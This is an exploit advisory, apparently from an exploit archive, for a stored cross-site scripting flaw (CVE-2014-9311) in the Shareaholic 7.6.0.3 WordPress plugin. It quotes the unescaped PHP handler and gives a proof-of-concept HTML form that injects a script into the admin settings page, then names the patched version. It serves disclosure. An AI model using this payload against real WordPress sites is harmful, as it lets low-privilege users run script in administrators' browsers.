Shareaholic 7.6.0.3 Persistent XSS Vulnerability

# Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps
 
1. Description
 
ShareaholicAdmin::add_location is accessible for every registered user.
 
File: shareaholic\shareaholic.php
 
add_action('wp_ajax_shareaholic_add_location',  array('ShareaholicAdmin', 'add_location'));
 
 
$_POST['location'] is not escaped.
 
File: shareaholic\admin.php
 
public static function add_location() {
    $location = $_POST['location'];
    $app_name = $location['app_name'];
    ShareaholicUtilities::update_options(array(
      'location_name_ids' => array(
        $app_name => array(
          $location['name'] => $location['id']
        ),
      ),
      $app_name => array(
        $location['name'] => 'on'
      )
    ));
 
    echo json_encode(array(
      'status' => "successfully created a new {$location['app_name']} location",
      'id' => $location['id']
    ));
 
    die();
}
 
http://security.szurek.pl/shareaholic-7603-xss.html
 
2. Proof of Concept
 
Login as regular user (created using wp-login.php?action=register) then:
 
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="shareaholic_add_location">
    <input type="hidden" name="location[app_name]" value="recommendations">
    <input type="hidden" name="location[name]" value="post_below_content">
    XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
    <input type="submit" value="Hack!">
</form>
 
XSS will be visible for admin:
 
http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
   
3. Solution:
   
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/

#  0day.today [2018-01-01]  #